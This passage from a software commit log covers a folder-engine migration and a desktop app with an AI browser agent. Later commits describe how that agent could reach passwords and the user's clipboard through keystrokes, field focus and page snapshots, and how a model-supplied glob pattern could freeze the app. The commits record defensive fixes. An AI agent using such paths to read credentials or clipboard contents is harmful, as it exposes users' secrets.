so one blip made the resolve effect treat views as terminally failed and stop applying switches until the next successful refetch. The axis is now whether a list exists: error with no list ever fetched settles to All; error with a cached list resolves normally against the cache; owner is unknown only while the initial fetch is in flight. * ci: raise Build App timeout to 25 minutes The build outgrew the 15-minute cap over the last two days of merges: 10m02 ( |
||
|
Theodore Li
|
e369997eac |
fix(db): encode Date binds in raw sql, document the fetch_types contract (#6040)
* fix(db): encode Date binds in raw sql, document the fetch_types contract * fix(testing): drop template placeholders from mock error message for biome |
||
|
Waleed
|
a3413cf5bd |
feat(folders): cut file folders over, and give knowledge bases and tables folders (#6045)
* feat(folders): cut file folders over, and give knowledge bases and tables folders
Builds on the generic resourceType-driven folder engine to finish the migration
and extend it to two more resource trees.
File-folder cutover
- Repoints all 30 `workspace_file_folders` query sites onto `folder` scoped to
`resourceType = 'file'`, id-keyed lookups included — a caller can hand a
workflow folder's id to a file-folder endpoint, and only the predicate stops it
- Adds the missing restore-conflict handling: a file folder whose name was taken
while it was archived now deduplicates against the RESOLVED parent (restore
re-roots when the original parent is still archived) instead of being
permanently unrestorable
- The forking mapper's `resourceType` predicate lives in the `leftJoin`
condition, not the WHERE, where it would silently make the outer join inner
- `servedFolderResourceTypeSchema` gains `file`; the soft-delete sweep enumerates
all four types rather than dropping its predicate
Knowledge Base and Tables folders
- `knowledge_base.folder_id` and `user_table_definitions.folder_id` are now
written and served; both create/move paths admit a folder only through
`findActiveFolder`, scoped to workspace AND resourceType
- Restoring a knowledge base whose folder is still archived re-roots it rather
than filing it somewhere the page never renders; a workspace move re-roots for
the same reason
- Both pages get folder rows, breadcrumbs, inline rename on rows and on the
breadcrumb, move-to submenus, pin/unpin, and drag-a-row-onto-a-folder
Shared folder UI
- One `components/folders/` module now backs Knowledge, Tables, and Files:
`folderBreadcrumbItems` (data for `Resource.Header`, which owns the crumb
chrome), `folderRow`, `folderRowId`/`parseFolderedRowId`, `buildMoveOptions` /
`buildDescendantIndex` / `renderMoveOptions`, `nextUntitledFolderName`,
`FolderContextMenu`, `useFolderNavigation`, `useFolderRowDragDrop`
- Deletes the per-page copies: `files/move-options.tsx` and the Tables-local
folder context menu
Recently Deleted
- Restores folders of every type, not just workflow folders, driven by one
declarative table rather than a branch per resource
Folder pins resolve against `folder` unscoped: file, knowledge-base, and table
folders are all pinnable and all live there, and a folder id addresses exactly
one row.
* fix(folders): close the folder-engine audit findings
Data loss
- Migration 0274 catches up file folders created AFTER 0272. That backfill is guarded
by `WHERE NOT EXISTS (… resource_type = 'file')`, so it fires once; every file folder
created between it and this cutover exists only in `workspace_file_folders`. Without
the catch-up they vanish from Files on deploy and their contents become unreachable
Authorization
- Archived folders were mutable, which bypassed the folder lock: the folder routes and
`updateFolder` filtered id + resourceType but never `deletedAt`, while
`getFolderLockStatus` does — so an archived-but-locked folder reported unlocked. Lock a
subfolder, delete its parent, and any write-level member could rename and reparent it.
PUT and the engine now require an active row; DELETE deliberately still does not, because
it reuses an archived folder's own `deletedAt` to make a partial cascade retryable
- `v1/admin/workflows/import` wrote `folderId` with no validation at all. Migration 0272
dropped the FK, so it accepted a knowledge-base folder, another workspace's folder, or
garbage — and the workflow then rendered under no sidebar node while still executing,
billing, and escaping the folder delete cascade. It now runs the same
`assertFolderInWorkspace` + `assertFolderMutable` pair as `v1/workflows/import`
Restore no longer loses state
- A folder restore ran a bare `archivedAt = null` over its workflows, while the delete had
routed through `archiveWorkflow` — which also disables schedules, webhooks, chats, and MCP
tools. Restoring a folder reported success while every schedule stayed disabled forever
and every chat 404'd. The workflow tree now restores through `restoreWorkflow`, like the
knowledge-base and table trees already did. Deployment state is still deliberately not
revived, matching the single-workflow restore
- Those canonical restores re-root a resource whose folder is archived — correct on its own,
catastrophic inside a cascade, which restores children BEFORE the folder rows and would
therefore dump every child at the workspace root. `resolveRestoredFolderId` takes the
subtree being restored and exempts it. `restoreTable` gained the re-root check it lacked
Correctness
- `getFolderPath` in `lib/folders/tree.ts` walked `parentId` with no `visited` set, so a
cycle in the client cache — reachable through `useReorderFolders`' unchecked optimistic
write — hung the tab. Its twin already had one. Dead `buildFolderMap` deleted
- The sidebar's "New folder" inside a folder hardcoded the name, so the second one 409'd,
was swallowed with only a log line, and the user got no folder and no message. It now
names through the existing `generateSubfolderName` and surfaces failures
- `chunkedBatchDelete` deleted by id with no re-check, so a resource restored between the
SELECT and the DELETE was hard-deleted anyway. Callers now re-assert their soft-delete
predicate on the DELETE
- Recently Deleted and the `restore_resource` tool cover every folder tree, not just
workflow folders, so deleted knowledge-base and table folders are recoverable
Cleanup
- The folder duplicate route stops steering control flow through `throw new Error('literal')`
matched by string, reuses the engine's `nextFolderSortOrder` instead of recomputing it, and
names its workflow scope once
- `servedFolderResourceTypeSchema` documents that its default applies only to an omitted
value; a present-but-unrecognized one is rejected, never coerced to `workflow`
- The `workspace_file_folders` comment described the table as unread and unwritten and
invited a DROP. It was live until this cutover, and it is now the rollback copy — the
comment says so, and names what must be true before anyone drops it
- Pinned rows carry a small non-interactive pin glyph again; they sort to the top and had
nothing explaining why since the inline pin button was removed
Tests
- New `lib/folders/lifecycle.test.ts` covers create/update/delete/restore, the re-root, and
the 23505 mappings; `cleanup-soft-deletes.test.ts` now pins the folder target's
resourceType predicate, which is what keeps the sweep off a not-yet-cut-over type
* improvement(folders): show the pin glyph on Files rows and pin the deploy contract
Files rows were left without the pin indicator the other two lists gained, so a pinned
file or folder still sorted to the top of the Files page with nothing explaining why.
Adds `lib/api/contracts/folders.test.ts`, which pins the three cases that together ARE
the rolling-deploy contract: an omitted `resourceType` defaults to `workflow` (so a client
predating the field keeps working), a present-but-unrecognized one is rejected rather than
coerced, and every served tree is accepted.
* fix(folders): close the findings from the full-diff audit
Migration 0274 reconciles instead of catching up
- The deployed manager writes `workspace_file_folders` EXCLUSIVELY, so `folder`'s file rows
are frozen at the 0272 snapshot: every rename, move, delete, and restore since then lives
only in the legacy table. An insert-only catch-up left all of that diverged — renames
reverted, deleted folders came back as active phantoms, and a stale-active row could hold
the name a newer folder legitimately took
- That last case was silent: the bare `ON CONFLICT DO NOTHING` swallows a NAME violation as
readily as an id one, so the newer folder was discarded and every file inside it stranded.
The conflict target is now `(id)`, so a name collision — which would mean the source
violated its own unique index — fails loudly instead
- Reconciles by parking mirrored names first, then upserting, so no transient state can
collide with the partial unique index. Both statements are idempotent, and the header says
what nothing else would: this has to be run again after the deploy drains, because old pods
keep writing the legacy table until they are gone
`/api/folders` no longer serves file folders
- Adding `'file'` to `servedFolderResourceTypeSchema` opened a second writer over the same
rows. It bypassed the `workspace_file_folders:${workspaceId}` advisory lock that makes the
manager's check-then-write pairs atomic, and it accepted names containing `/`, `\`, `.` and
`..`, which the file surface forbids because a folder name becomes a path segment — a
folder named `a/b` is then unreachable by path forever, and breadcrumbs resolve it as two
segments. The storage cutover never needed a second API, so there isn't one
Conflicts that returned 500
- `v1/admin/workspaces/[id]/import` created its folder with an unserialized SELECT-then-
INSERT, so two imports sharing a folder path failed the whole import. The name is
server-chosen, so it now adopts whichever folder won, like `ensureWorkspaceFileFolderPath`
- Folder duplicate never caught 23505. `newId` is client-supplied, so replaying a duplicate
whose response was lost hit the primary key and returned 500 instead of a 409 the caller
can act on
Performance
- `knowledgeKeys` moved to `hooks/queries/utils/knowledge-keys.ts`. Reading it from
`hooks/queries/kb/knowledge` pulled a ~1000-line hook module — and the `@sim/emcn` barrel
behind it — into `hooks/queries/folders`, which three server prefetches import. That is the
same import edge the navigation-speed audit measured at 11.8MB per workspace route;
`tableKeys` already lived in a keys-only module for exactly this reason
Merge drop
- Knowledge never got the chrome Tables did: its prefetch now fetches the folder tree
alongside the bases, so the list does not paint ungrouped and a `?folderId=` deep link does
not render an empty breadcrumb, and its loading fallback declares the "New folder" action so
the header does not shift on hydration
Comments corrected to match reality
- The shared folder row and context menu claimed Files as a consumer; Files still builds its
own row and routes folders through `FileRowContextMenu`, which the TSDoc now says
- `schema.ts` prescribed a row COUNT comparison before dropping the legacy table. The
divergence 0274 repairs is in row CONTENTS, which a count check passes straight through
* fix(folders): address the review round and the full-PR audit
Reverts the workflow restore hook — it was the wrong fix
- Greptile flagged that restoring a folder leaves schedules disabled and webhooks/chats
inactive. The hook added last round routed workflows through `restoreWorkflow` to address
it, but `restoreDependents` ALREADY clears exactly those columns, in bulk, inside the
restore transaction and matched on the archive timestamp. The hook bought nothing and cost
a per-workflow read/transaction/read OUTSIDE that transaction — roughly 1600 round trips
for a folder of 200 workflows — plus a window where the workflows were active and the
folder was not, and it made `restoreDependents` dead code
- What no restore path can undo is the state archive OVERWRITES: `status: 'disabled'` with
`nextRunAt` cleared, `isActive: false`. Archive does not record what those were, so
restoring them to a constant would re-enable a schedule the user had disabled and re-run a
completed one. Left explicit — redeploy re-activates a schedule — matching deployment state,
which restore also deliberately leaves off. Documented on the config rather than guessed
- Kept the genuine bug the review surfaced underneath it: `restoreWorkflow` un-archived every
dependent by `workflowId` alone, resurrecting a webhook or chat the user had archived days
earlier. Now matched on the workflow's own `archivedAt`, which is the semantics this feature
documents
Bugbot: orphaned knowledge bases vanished from every view
- Knowledge filtered on a raw `folderId === currentFolderId` and never re-rooted a base whose
folder is missing or archived, so a base restored on its own — or left behind by a partial
cascade — was invisible everywhere. Tables already fell those back to the root
A dead `?folderId=` is now healed instead of being a dead end
- A bookmark to a deleted folder rendered the root title over an empty grid, hid everything
actually at the root, and — worse — left every create/upload action targeting the dead id,
filing new resources somewhere nothing could reach. `useFolderNavigation` clears it once the
folder list resolves, which fixes Files, Knowledge, and Tables at once
Parity gaps found by auditing against Files
- Tables sorted folders newest-first on a clean URL while Files and Knowledge sorted A→Z: its
sort params are defaulted, so the raw column was never null. Reads `activeSort` now
- On Tables you could not delete the folder you were standing in — its own row is not in the
list, and the crumb menu offered only Rename, which also made the step-out branch
unreachable dead code
- A failed knowledge-base move was logged and never surfaced, so a rejected move — from the
submenu or from a drag — looked like nothing happened
- A drag begun in another mount of the page could never be dropped: `onDragOver` bailed before
`preventDefault`, so no drop event ever fired and the `dataTransfer` fallback in `onDrop`
was unreachable. External/foreign drags are still ignored, so an OS file dropped on the list
cannot navigate the tab away
Files: a folder cycle crashed the page
- The folder-size roll-up recursed with no `visited` guard, so a parent/child cycle in the
cached tree — reachable through the optimistic folder-move write — recursed until the stack
blew and the page went blank. Also indexes children once instead of re-scanning per node
Migration 0274 is now atomic
- 0272 ends with an embedded COMMIT for its CONCURRENTLY index builds, so this file is not
guaranteed to run inside drizzle's batch transaction. Wrapped in a DO block so the parking
pass cannot commit without the reconcile, which would leave every mirrored folder holding a
placeholder name
- Validated with a read-only dry run: no active name duplicates, no orphaned or
cross-workspace parents, and no id collisions with `workflow_folder`, so the insert cannot
trip the unique index, the FKs, or the resource-type trigger
Smaller corrections
- Knowledge indexed its members for the owner comparator instead of two linear scans per
comparison, and logs a load failure from an effect rather than the render body
- Files uses the shared root sentinel instead of a bare `'__root__'` in two places
- `restore_resource` documents that its two new folder types are unreachable until the enum in
the copilot service's tool catalog — a different repository — widens
- Corrected a forking comment that still described file folders as a separate table
* docs(folders): record the 0272 + 0274 dry-run results on the migration
A read-only dry run materialises the complete post-0272 `folder` table from both source
tables and asserts every constraint it declares: no NULL names, no primary-key collisions
between the two source tables, no unique-index violations, no resource-type or workspace
trigger violations, and no parent/user/workspace FK violations. 0272's dedup renames only
workflow folders, never file folders — the latter is what lets pass 2 write raw names.
* fix(folders): close the findings from the line-by-line audit of the PR
Data integrity
- Workspace fork copied `folderId` verbatim onto the child's tables and knowledge bases. The
column carries no workspace, so a forked row pointed at a folder owned by the SOURCE
workspace — invisible in the fork, and mutated from under it when the source later deleted
that folder (`ON DELETE SET NULL`). Latent until now because nothing wrote a non-null
`folderId` for those two resources; this PR is what makes it reachable. Forked resources land
at the root, like forked files already did
Interaction bugs
- Clearing a dead `?folderId=` wrote through the params' default `history: 'push'`, so Back
returned to the dead URL, which healed and pushed again — the Back button was dead on that
page. It replaces now: opening a folder is navigation, correcting a URL that never pointed
anywhere is not
- That same heal keyed off `isLoading`, which is false for a DISABLED query, false for an
ERRORED one, and false while `keepPreviousData` is showing the previous workspace's folders.
In all three the list is empty or stale, so a transient fetch failure — or a workspace switch
— threw away a perfectly good open folder. Gated on `isSuccess && !isPlaceholderData`
- "New folder" while a search was active created the folder but never showed it: the search
filters folders too, so the new row did not match, the rename field never appeared, and the
create read as a no-op. Both pages clear the search so the thing just created is on screen
- The drag ghost was removed only by `dragend`, which fires on the source row. The table is
virtualized, so scrolling the source out of view mid-drag unmounted it, the event never
arrived, and the ghost stayed on the page with every row stuck at drag opacity. Cleaned up on
unmount as the backstop
- A drag begun in another mount highlighted every folder as a valid target — including the
dragged folder itself — then silently did nothing on drop. It only highlights when the source
is known and was actually checked
Correctness
- The folder-duplicate route caught 23505 across the WHOLE handler, so a unique violation
raised while copying the workflows inside the folder was relabelled "a folder with this name
already exists". Scoped to the folder INSERT, which is the only place the two conflicts the
caller can act on (client-supplied `newId` replay, concurrent name take) actually arise
- The optimistic folder create derived its sort order from the workspace's WORKFLOWS regardless
of resource type. Only the workflow tree interleaves folders and resources in one ordering
space, so a knowledge-base or table folder was placed against an unrelated one
- A table archived between `checkAccess` and the move surfaced as a 500 with a "not found"
body; it is a 404
- `FOLDER_RESOURCE_TYPE_BY_RESTORABLE` was a `Partial` record, so adding a folder tree without a
mapping would compile and silently restore into the workflow tree. Total record now
- Recently Deleted paired query results to folder trees by ARRAY POSITION; reordering the const
would have filed knowledge folders under Tables with no type error. Keyed by type
- The knowledge move's no-op guard compared against the snapshot taken when the menu opened
rather than the live row
Performance — the module split now actually does what it claimed
- `knowledge-keys.ts` justified itself as keeping server prefetches off the ~1000-line
`kb/knowledge` module, but `knowledge/prefetch.ts` still imported its stale-time constant from
exactly that module, whose first line pulls the `@sim/emcn` barrel. Worse, this PR had ADDED
the same class of edge to four prefetches via `FOLDER_LIST_STALE_TIME`/`mapFolder`
- `FOLDER_LIST_STALE_TIME`, `mapFolder`, and `KNOWLEDGE_BASE_LIST_STALE_TIME` now live beside
their key factories, so all four server prefetches import only keys-and-constants modules.
`mapFolder` keeps its explicit field list rather than a spread, so the cached shape cannot
drift from a client fetch
Honesty in comments
- The KB retention `deleteFilter` narrows the restore race but does not close it — documents
hard-deleted by `onBatch` do not come back, so a restore landing mid-batch returns an emptied
base. Said so
- A failed folder restore leaves children active while their folders are still archived. They
are reachable (both lists fall an unresolvable `folderId` back to the root) but they sit at
the root until the restore is retried. Said so
Product policy made visible
- Restore deliberately does not re-enable schedules, webhooks, or chats, because archive
overwrites their state without recording it. A deliberately-disabled schedule or webhook is a
common state rather than an edge case, so reactivating to a constant would be wrong more often
than right. Recently Deleted now says so at the moment of restore instead of leaving it to be
discovered
Smaller
- Pin glyph: dropped the doubled gap, added `role='img'` so the state is announced
- "Move here" carries the folder glyph its sibling leaves do
- `useMoveTable` had stolen `useDeleteTable`'s doc block
- Dead `.returning` column and a `?? null` on a non-nullable param in `moveTableToFolder`
- Tables reads one sort source for both blocks, matching Knowledge
- New test pins that `updateFolder` refuses an archived folder — the guard that stops a delete
from unlocking its locked subfolders
* fix(tables): re-read live placement before skipping a move as a no-op
`handleMoveTable` and `handleMoveFolder` decided "already there, nothing to do" from
`activeTable`/`activeFolder`, which are snapshots taken when the context menu opened. A refetch
or a concurrent move since then makes that comparison stale, so the write the user just asked
for is silently skipped and the row stays where it was. Both now compare against the live list,
matching the knowledge-base move.
* chore(folders): drop production figures from migration and code comments
This repository is public. The 0274 header and the Recently Deleted policy comment carried
concrete counts and ratios taken from the production database, which is operational detail that
does not belong in open source. Both now state the property that matters — what was asserted,
and why disabled-on-restore is the safe default — without the underlying numbers.
* fix(folders): close the findings from auditing the whole release landing unit
Audited as the unit that actually ships — #6014 (pinning), #6025 (workflow folders onto the
generic table), #6037 (the engine) and this branch together against `main`, rather than this
branch against `staging`.
Authorization
- `PUT /api/folders/reorder` still operated on archived folders. `getFolderLockStatus` skips
archived rows, so `assertFolderMutable` there was a guaranteed no-op — meaning a locked folder
became freely reparentable the moment its parent was deleted. This branch closed exactly that
hole on `PUT /api/folders/[id]` and left its sibling open, then widened reorder to three
resource trees. Reordering an archived folder is also wrong on its own terms:
`collectArchivedSubtreeIds` walks the cascade by parent, so moving a branch out of an archived
subtree silently drops it from that folder's restore
Data loss in the purge
- `batchDeleteByWorkspaceAndTimestamp` forwarded its eligibility predicate only into the SELECT,
never the DELETE. The `folder` target runs through it, so a restore committing between the two
statements had its folder hard-deleted anyway — taking the placement of the children the
restore had just brought back. The workflow purge re-checks for precisely this reason and the
knowledge-base sweep gained the same guard earlier in this branch; `folder` had neither. The
wrapper now re-asserts eligibility on the DELETE for every caller
Wire boundary
- `toPinnedItemApi` had no return type, so `pinned_item.resource_type` — plain `text` by design,
against a closed contract enum — was never checked. Annotating it surfaced the real hole
immediately: during a rolling deploy an older pod can read a pin a newer one wrote, and
returning it would fail response validation and take the WHOLE list down rather than the one
row. Unknown kinds are now narrowed out explicitly at the boundary instead of surviving by
accident on a filter whose stated job is something else
Interaction
- The knowledge-base FOLDER move still compared against the snapshot taken when the menu opened.
The resource move on that page and both Tables handlers were fixed earlier in this branch; this
was the last one
Operational
- 0274's "re-run after drain" instruction needed a precondition. Cleanup hard-deletes from
`folder` but never from `workspace_file_folders`, so a re-run after a purge would reinstate
every purged file folder as a soft-deleted phantom whose files are already gone. Retention is
far longer than any drain, so running it promptly is sufficient — but the instruction said
nothing about ordering
Accuracy
- Four comments named symbols that do not exist or no longer apply: `useFolderCreateWithDedup`
(never existed — it is `nextUntitledFolderName`), `collectActiveSubtreeIds`,
`restoreFolderCascade` as the live restore path, and a claim that a server
`createSearchParamsCache` reads the shared folder param. The shared param doc also now admits
Files declares its own `?folderId=` rather than claiming to be the single declaration
- `FOLDER_RESOURCES.file` is unreachable at runtime — `servedFolderResourceTypeSchema` does not
serve `'file'` — and a reader would reasonably assume otherwise. Says so, and says what routing
file folders through the generic engine would bypass
- `pinnedItem.resourceType`'s inline comment was missing `'folder'`
- `folders.test.ts` fixtures still carried `color` and `isExpanded`, both deliberately dropped
from the generic table — pre-consolidation rows masquerading as folders
- `getFolders` in the folder cache had one caller, in its own file
* fix(folders): gate the orphan fallback on a resolved folder index, not a loading flag
The URL heal was fixed to use `isSuccess && !isPlaceholderData`, but the list filters that
decide "this resource's folderId does not resolve, so show it at the root" were left on
`isLoading` — the same footgun, one layer down.
`isLoading` is false for a disabled query (no workspaceId), false for an errored one, and —
because `useFolders` sets `keepPreviousData` — false while the previous workspace's folders are
still on screen during a switch. In all three the index is empty or belongs to another
workspace, so every foldered knowledge base and table was treated as an orphan and dragged to
the root, or filtered out of a deep-linked folder entirely. A transient fetch failure was enough
to make a folder look empty.
`useFolderNavigation` now exposes `foldersResolved` instead of `isLoading`, so the heal and both
list filters share one signal and the footgun is no longer reachable from the hook's surface.
|
||
|
Waleed
|
5b7cf99126 |
feat(folders): add the generic resourceType-driven folder engine (#6037)
- Replaces the workflow-hardcoded folder orchestration with a config-driven engine: one implementation parameterized by `FOLDER_RESOURCES`, with `lib/workflows/orchestration/folder-lifecycle.ts` reduced from 620 lines to thin wrappers so no existing caller moved - Threads `resourceType` through all four folder routes and the React Query keys; contract widened to `workflow | knowledge_base | table` - Folder locking moved behind a `supportsLocking` capability rather than scattered `resourceType === 'workflow'` checks - Folder restore now matches dependents by the cascade timestamp, so a schedule or webhook archived independently before a folder delete stays archived (deliberate behavior change, documented in the PR) - 25 cascade tests including a fixed-statement-count assertion guarding against N+1 regressions |
||
|
|
1d64b92b41 |
feat(desktop): desktop app (#5998)
* top on a desk * fix auth stuff * intermediate state * update * local filesystem fixes * Huge * fix banner * ci: disable desktop release + e2e in CI for now The desktop-release reusable-workflow call requested contents: write, which ci.yml's permission grant (contents: read) rejects — invalidating the whole CI workflow. Desktop is tested locally for now; signed builds remain available manually via desktop-release.yml workflow_dispatch, and desktop e2e via its own workflow_dispatch. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * ci: exempt electron from the release-age gate (time-boxed) electron@43.1.1 (published 2026-07-14) is exact-pinned for the desktop shell and blocked by minimumReleaseAge until 2026-07-21. Excluded with a drop-after date, following the vetted-typescript precedent. Verified the rest of the desktop dependency set clears the 7-day gate. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * desktop: brand app icon (packaged + dev Dock) - build/icon.icns regenerated from public/logo/primary/large.png on the Apple icon grid (824px body, r=185.4, centered on a transparent 1024 canvas), compiled with iconutil - dev runs set the same mark via app.dock.setIcon (static/dock-icon.png) — unpackaged Electron otherwise shows its default atom icon - un-ignore apps/desktop/build: it holds electron-builder INPUTS (icon, entitlements), which the /apps/**/build output rule was swallowing — the icns and entitlements were never actually tracked - revert resetAdHocDarwinSignature fuse: it corrupts the packaged binary signature (app killed at launch on arm64); the local ad-hoc deep-sign flow doesn't need it Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * desktop: switch app icon to the b&w brand mark White rounded tile with the black sim wordmark (from public/logo/b&w/large.png), replacing the purple variant. Same Apple icon grid geometry (824px body, r=185.4, 1024 canvas). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix banner * Fix * clean up launcher * fix oauth * update desktop app * Improve browser use and consolidate desktop app * Desktop app ui cleanup * Updates * Updates * remove dev tool option * Browser updates * Fix electron bug * Browser shortcuts * lifecycle * feat(desktop): SSRF hardening + shared @sim/security/ssrf (re-home of #5763) (#5784) * feat: re-home @sim/security/ssrf + sim SSRF dedup onto dev (clean core) * feat(desktop): re-integrate SSRF guard + hardening onto rewritten dev Re-applies the browser-agent SSRF guard and hardening onto dev's evolved desktop files (dev rewrote session/driver/handoff/index and split out errors.ts/keyboard.ts): - session.ts: agent-partition onBeforeRequest is the SSRF choke point — DNS-resolving check (fail-closed) for document navigations, synchronous literal-IP backstop for subresources. - driver.ts: browser_navigate/browser_open_tab validate via checkAgentUrl for a clean model error; also adopt shared sleep/getErrorMessage and drop the local reimplementations + banner separators. - index.ts: local-only crashReporter (native minidumps, no upload) + CSP fallback wired into the app session. - window.ts: record the crash-dump dir on renderer_gone. - config.ts: drop the local LOCAL_HOSTNAMES set for the shared isLoopbackHostname (also removes the dead bare '::1'). - cdp.ts: per-WebContents callbacks so a background tab's events reach its own driver. - updater.ts: the manual check now surfaces network/manifest failures instead of silently swallowing them. - README: correct the App Sandbox / security-scoped-bookmark note. - electron-mock: webRequest.onBeforeRequest + crashReporter stubs. - api-validation: annotate dev's validated-envelope double-cast; bump the route-count baseline 964→965 for dev's already-merged route (ratchets stay tight; non-Zod and double-cast at baseline). Skipped as moot (dev already did them independently): launcher isVisible removal, decideStartRoute param drop, local-filesystem clear() removal. * chore(desktop): biome format install-local.ts (pre-existing dev lint failure) * refactor: apply audit cleanup (reuse + simplify) - domain-check: drop the redundant isIpLiteral guard (isLoopbackIp already validates and returns false for non-literals). - session.ts: use shared getErrorMessage instead of the local error ternary (the file already imports it). - tray.ts: use shared sleep() instead of a hand-rolled setTimeout promise. - updater.ts: distinguish the synchronous-throw log from the async-rejection log on the manual update check. * refactor: /simplify pass + review fixes - url-guard: bound the SSRF dns.lookup with a 5s deadline (fails closed on timeout) so a slow/hung resolver can't suspend the check and the onBeforeRequest callback indefinitely (Greptile P2); + test. - Finish the reuse consolidation the earlier pass missed: session.ts second error ternary → getErrorMessage; the bracket-strip idiom → unwrapIpv6Brackets in input-validation.ts, input-validation.server.ts (×2), onepassword/utils.ts (fixes the check:utils banned-pattern CI failure). - driver: document why the tool-level checkAgentUrl coexists with the onBeforeRequest enforcement seam (clean model error; loadURL rejection is swallowed). * fix(desktop): swallow late DNS rejection after the SSRF lookup timeout (Cursor) * refactor: split pure host helpers into @sim/security/hostnames (ipaddr-free) (#5787) unwrapIpv6Brackets + isLoopbackHostname move to a new ipaddr-free sub-export so client code can share them without pulling ipaddr.js into the browser bundle. ssrf.ts re-exports both, so its server/desktop consumers are unchanged. This eliminates the duplicate isLoopbackHostname in apps/sim/lib/core/utils/urls.ts: urls.ts and its three client importers (mcp queries, oauth probe, oauth url-validation) now use the single shared definition. * Desktop app fullscreen mode * fix(copilot): report closed browser session as a distinct terminal tool error A dead agent browser session used to answer every browser tool with an indistinguishable generic ~30s IPC timeout, which the model retried indefinitely (one turn: 59 minutes of failing browser_snapshot calls). - When the desktop app has reported the session closed, page-dependent browser tools fail immediately with an explicit session-closed message (and sessionClosed: true in the result data) instead of burning the full timeout per call. browser_navigate / browser_open_tab / browser_list_tabs still run, since they can start a new session. - A failure whose session died mid-call (e.g. during a takeover) gets the same tag appended, so the model learns the terminal cause rather than seeing a plain timeout. Companion to mothership's tool_failure_loop circuit breaker. * fix(desktop): route Cmd+W to focused browser tabs * fix(desktop): reserve macOS title bar safe area * fix(desktop): limit title bar safe area to login * fix install script * feat(desktop): improve local folder settings * feat(desktop): harden local capabilities and window chrome * fix(invitations): live refetches * fix(desktop): make manual update checks use updater state * fix(desktop): review fixes — OAuth error handling, query freshness, invitations Findings from an end-to-end review of the desktop work, fixed and verified. OAuth connect/login handoff: - Add a friendly /oauth-error landing page + onAPIError.errorURL so provider Cancel/Deny (which Better Auth redirects before the flow state is parsed) no longer dead-ends on a 404; re-initiating supersedes the idle loopback. - Stop a post-consent failure from reporting success (drop the baked-in errorCallbackURL param that collided with Better Auth's appended code; coerce an array error defensively on the complete page). - Guard the desktop connect listener with the same context-age check the web routers use, so an abandoned flow can't mislabel a later completion. - Clear an orphaned pending handoff when a loopback re-bind fails. Query freshness (desktop refetchOnWindowFocus): - Pin refetchOnWindowFocus off on queries that seed editable forms (environment/secrets, credential detail, schedules) so a background focus refetch can't drop an unsaved draft, and on the useWorkflowStates fan-out so returning to a large table doesn't fire N heavy envelope fetches. All no-ops on web (default already false). Invitations (in-app pending invitations): - Map accept/decline failures to friendly copy instead of raw machine codes. - Invalidate subscription + refresh session on accept (parity with the email path); reconcile the list on failure (onSettled) so dead rows drop. - Gate the modal's query on open so it no longer fetches on every app load. CI: - Wrap the latest-mac.yml update-feed route in withRouteHandler and allowlist it as a non-boundary route (input-less, YAML) so the contract audit passes. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * updates * fix(desktop): use workflow colors for environment icons * fix(desktop): use orange for dev icon border * fix(login): change one time token generation to GET * improvement(desktop): reveal local folders from settings Local-folder rows rendered their glyph at 20px inside the bordered credential tile — chrome meant for brand and logo icons — above a static subtitle that repeated what the section already said. The row now shows a plain 14px folder icon and the folder name alone. Clicking a row reveals the folder in the OS file manager through a new reveal_mount bridge op, which resolves the opaque localfs URI to a live grant and requires an active user gesture, matching the other grant mutations. The absolute host path still never crosses the bridge. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb * improvement(desktop): row actions menu for folder grants, larger version text Revoke moves from an always-visible chip into the canonical RowActionsMenu, matching the MCP server rows. The version value moves off text-caption onto text-sm — it was rendering at the subtitle size, which also shrank the "x -> y on restart" line that matters most. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb * feat(desktop): improve browser tab usability * fix(desktop): thicken environment icon borders * fix(desktop): strengthen environment icon borders * feat(desktop): support multiple windows and harden the agent browser Sim can now open many full windows in one process. The embedded browser is still a single native surface, so exactly one window owns it at a time. Ownership transfers only to the focused window: without that rule, two windows both showing the browser reclaim it on every bounds heartbeat and re-parent the native view back and forth roughly once a second while Sim sits in the background, where no window is focused. A destroyed owner is now forgotten rather than left rejecting updates from the window actually on screen, and a closing window's release is honoured even though Electron destroys it before emitting `closed` — previously that release was dropped and the next layout could re-parent the browser onto a window that never asked for it. The agent's password boundary is now enforced rather than assumed. It was treated as settled but had four ways through: `browser_press_key` sent trusted CDP keystrokes to whatever held focus, `clickElement` focused credential fields, `readActiveElementState` returned a preview of any focused value, and snapshots printed the contents of revealed password fields. Detection also used `instanceof HTMLInputElement`, which is realm-bound and returned false for inputs inside same-origin iframes — the nested login forms that need it most. Detection now matches on tagName/type/autocomplete, the keystroke guard runs in the driver where trusted CDP input is visible, and typing re-checks the real target before inserting, since login forms advance focus between the username and password steps. Signing out clears the embedded browser's profile. Its cookies, cache, pinned tabs, browsing trail, and reopen list all survived sign-out, so the next account on the machine inherited the previous user's live sessions. Partition hardening is keyed per session instead of a process-wide flag, which would have left a second partition with no permission handlers, no SSRF filtering, and no download blocking — silently, and still type-checking. Adds the first tests for page-functions.ts, including a serialization contract check: those functions ship to the page as String(fn), so a reference to module scope passes every other test and fails only against a real page. * fix(desktop): close clipboard, glob DoS, and authorization holes Found by a full audit of the desktop app against origin/staging. Each of these was measured or asserted rather than reasoned about. The agent could read the user's system clipboard. `browser_press_key('Cmd+V')` pasted it into a focused field and the next `browser_snapshot` returned it as an ordinary `value` — snapshots redact password fields, not pasted content, and clipboards routinely hold a password copied out of a manager. The credential guard added earlier did not catch it: `insertedTextFor` returns undefined whenever `meta` is set, so `Cmd+V` was classified as not text-inserting. `Control+V` reached the same place because the macOS normalizer rewrites it. Clipboard combos are now refused before dispatch rather than by withholding the CDP `commands` array, since off macOS these are Blink-native and a key event alone still performs them. Copy and cut go too — they clobber the user's clipboard as a side effect. A glob pattern could freeze the whole app. Micromatch compiles to a backtracking regex whose cost is exponential in wildcard count: measured against a single 46-character path with the options this code passes, ten wildcards took 2.7s and twelve took 43s, once per scanned entry, in one synchronous call that the surrounding abort checks never get to interrupt. That is the main process, so every window, the menu bar and the tray freeze with Force Quit as the only recourse, and the pattern is model-supplied. `safeRegex` reports the generated source as safe, so it was no defense. Patterns are now bounded at six wildcards, which 